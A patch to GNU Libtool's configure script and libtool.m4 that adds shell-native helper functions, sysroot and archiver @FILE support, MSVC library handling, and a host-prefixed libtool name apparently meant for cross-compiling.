--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-@@ -20194,12 +21039,12 @@ with_gcc=$GCC_CXX
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_CXX
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl_CXX
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic_CXX
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl_CXX
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static_CXX
-
-@@ -20286,9 +21131,6 @@ inherit_rpath=$inherit_rpath_CXX
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs_CXX
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path_CXX
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols_CXX
-
-@@ -20304,6 +21146,9 @@ include_expsyms=$lt_include_expsyms_CXX
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds_CXX
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds_CXX
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec_CXX
-
-diff --git a/libtool.m4 b/libtool.m4
-index 434530059f..e45fdc6998 100644
---- a/libtool.m4
-+++ b/libtool.m4
-@@ -1,7 +1,8 @@
- # libtool.m4 - Configure libtool for the host system. -*-Autoconf-*-
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is free software; the Free Software Foundation gives
-@@ -10,7 +11,8 @@
-
- m4_define([_LT_COPYING], [dnl
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -37,7 +39,7 @@ m4_define([_LT_COPYING], [dnl
- # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
- ])
-
--# serial 56 LT_INIT
-+# serial 57 LT_INIT
-
-
- # LT_PREREQ(VERSION)
-@@ -92,7 +94,8 @@ _LT_SET_OPTIONS([$0], [$1])
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
- AC_SUBST(LIBTOOL)dnl
-
- _LT_SETUP
-@@ -166,10 +169,13 @@ _LT_DECL([], [exeext], [0], [Executable file suffix (normally "")])dnl
- dnl
- m4_require([_LT_FILEUTILS_DEFAULTS])dnl
- m4_require([_LT_CHECK_SHELL_FEATURES])dnl
-+m4_require([_LT_PATH_CONVERSION_FUNCTIONS])dnl
- m4_require([_LT_CMD_RELOAD])dnl
- m4_require([_LT_CHECK_MAGIC_METHOD])dnl
-+m4_require([_LT_CHECK_SHAREDLIB_FROM_LINKLIB])dnl
- m4_require([_LT_CMD_OLD_ARCHIVE])dnl
- m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl
-+m4_require([_LT_WITH_SYSROOT])dnl
-
- _LT_CONFIG_LIBTOOL_INIT([
- # See if we are running on zsh, and set the options which allow our
-@@ -199,7 +205,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -632,7 +638,7 @@ m4_ifset([AC_PACKAGE_NAME], [AC_PACKAGE_NAME ])config.lt[]dnl
- m4_ifset([AC_PACKAGE_VERSION], [ AC_PACKAGE_VERSION])
- configured by $[0], generated by m4_PACKAGE_STRING.
-
--Copyright (C) 2009 Free Software Foundation, Inc.
-+Copyright (C) 2010 Free Software Foundation, Inc.
- This config.lt script is free software; the Free Software Foundation
- gives unlimited permision to copy, distribute and modify it."
-
-@@ -746,15 +752,12 @@ _LT_EOF
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-
-- _LT_PROG_XSI_SHELLFNS
-+ _LT_PROG_REPLACE_SHELLFNS
-
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
- ],
-@@ -980,6 +983,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&AS_MESSAGE_LOG_FD
- echo "$AR cru libconftest.a conftest.o" >&AS_MESSAGE_LOG_FD
- $AR cru libconftest.a conftest.o 2>&AS_MESSAGE_LOG_FD
-+ echo "$RANLIB libconftest.a" >&AS_MESSAGE_LOG_FD
-+ $RANLIB libconftest.a 2>&AS_MESSAGE_LOG_FD
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -1069,30 +1074,41 @@ m4_defun([_LT_DARWIN_LINKER_FEATURES],
- fi
- ])
-
--# _LT_SYS_MODULE_PATH_AIX
--# -----------------------
-+# _LT_SYS_MODULE_PATH_AIX([TAGNAME])
-+# ----------------------------------
- # Links a minimal program and checks the executable
- # for the system default hardcoded library path. In most cases,
- # this is /usr/lib:/lib, but when the MPI compilers are used
- # the location of the communication and MPI libs are included too.
- # If we don't find anything, use the default library path according
- # to the aix ld manual.
-+# Store the results from the different compilers for each TAGNAME.
-+# Allow to override them for all tags through lt_cv_aix_libpath.
- m4_defun([_LT_SYS_MODULE_PATH_AIX],
- [m4_require([_LT_DECL_SED])dnl
--AC_LINK_IFELSE([AC_LANG_SOURCE([AC_LANG_PROGRAM])],[
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi],[])
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ AC_CACHE_VAL([_LT_TAGVAR([lt_cv_aix_libpath_], [$1])],
-+ [AC_LINK_IFELSE([AC_LANG_PROGRAM],[
-+ lt_aix_libpath_sed='[
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }]'
-+ _LT_TAGVAR([lt_cv_aix_libpath_], [$1])=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$_LT_TAGVAR([lt_cv_aix_libpath_], [$1])"; then
-+ _LT_TAGVAR([lt_cv_aix_libpath_], [$1])=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi],[])
-+ if test -z "$_LT_TAGVAR([lt_cv_aix_libpath_], [$1])"; then
-+ _LT_TAGVAR([lt_cv_aix_libpath_], [$1])="/usr/lib:/lib"
-+ fi
-+ ])
-+ aix_libpath=$_LT_TAGVAR([lt_cv_aix_libpath_], [$1])
-+fi
- ])# _LT_SYS_MODULE_PATH_AIX
-
-
-@@ -1117,7 +1133,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
-
- AC_MSG_CHECKING([how to print strings])
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -1161,6 +1177,39 @@ _LT_DECL([], [ECHO], [1], [An echo program that protects backslashes])
- ])# _LT_PROG_ECHO_BACKSLASH
-
-
-+# _LT_WITH_SYSROOT
-+# ----------------
-+AC_DEFUN([_LT_WITH_SYSROOT],
-+[AC_MSG_CHECKING([for sysroot])
-+AC_ARG_WITH([libtool-sysroot],
-+[ --with-libtool-sysroot[=DIR] Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).],
-+[], [with_libtool_sysroot=no])
-+
-+dnl lt_sysroot will always be passed unquoted. We quote it here
-+dnl in case the user passed a directory name.
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ AC_MSG_RESULT([${with_libtool_sysroot}])
-+ AC_MSG_ERROR([The sysroot must be an absolute path.])
-+ ;;
-+esac
-+
-+ AC_MSG_RESULT([${lt_sysroot:-no}])
-+_LT_DECL([], [lt_sysroot], [0], [The root where to search for ]dnl
-+[dependent libraries, and in which our libraries should be installed.])])
-+
- # _LT_ENABLE_LOCK
- # ---------------
- m4_defun([_LT_ENABLE_LOCK],
-@@ -1320,14 +1369,47 @@ need_locks="$enable_libtool_lock"
- ])# _LT_ENABLE_LOCK
-
-
-+# _LT_PROG_AR
-+# -----------
-+m4_defun([_LT_PROG_AR],
-+[AC_CHECK_TOOLS(AR, [ar], false)
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-+_LT_DECL([], [AR], [1], [The archiver])
-+_LT_DECL([], [AR_FLAGS], [1], [Flags to create an archive])
-+
-+AC_CACHE_CHECK([for archiver @FILE support], [lt_cv_ar_at_file],
-+ [lt_cv_ar_at_file=no
-+ AC_COMPILE_IFELSE([AC_LANG_PROGRAM],
-+ [echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&AS_MESSAGE_LOG_FD'
-+ AC_TRY_EVAL([lt_ar_try])
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ AC_TRY_EVAL([lt_ar_try])
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-+ ])
-+ ])
-+
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-+_LT_DECL([], [archiver_list_spec], [1],
-+ [How to feed a file listing to the archiver])
-+])# _LT_PROG_AR
-+
-+
- # _LT_CMD_OLD_ARCHIVE
- # -------------------
- m4_defun([_LT_CMD_OLD_ARCHIVE],
--[AC_CHECK_TOOL(AR, ar, false)
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
--_LT_DECL([], [AR], [1], [The archiver])
--_LT_DECL([], [AR_FLAGS], [1])
-+[_LT_PROG_AR
-
- AC_CHECK_TOOL(STRIP, strip, :)
- test -z "$STRIP" && STRIP=:
-@@ -1623,7 +1705,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--[#line __oline__ "configure"
-+[#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -1667,10 +1749,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -2210,8 +2292,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -2244,13 +2327,71 @@ m4_if([$1], [],[
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([[a-zA-Z]]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | [$GREP ';[c-zC-Z]:/' >/dev/null]; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -2342,7 +2483,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -2950,6 +3091,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -3016,7 +3162,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -3167,6 +3314,21 @@ tpf*)
- ;;
- esac
- ])
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[[\1]]\/[[\1]]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -3174,7 +3336,11 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
- _LT_DECL([], [deplibs_check_method], [1],
- [Method to check whether dependent libraries are shared objects])
- _LT_DECL([], [file_magic_cmd], [1],
-- [Command to use when deplibs_check_method == "file_magic"])
-+ [Command to use when deplibs_check_method = "file_magic"])
-+_LT_DECL([], [file_magic_glob], [1],
-+ [How to find potential files when deplibs_check_method = "file_magic"])
-+_LT_DECL([], [want_nocaseglob], [1],
-+ [Find potential files using nocaseglob when deplibs_check_method = "file_magic"])
- ])# _LT_CHECK_MAGIC_METHOD
-
-
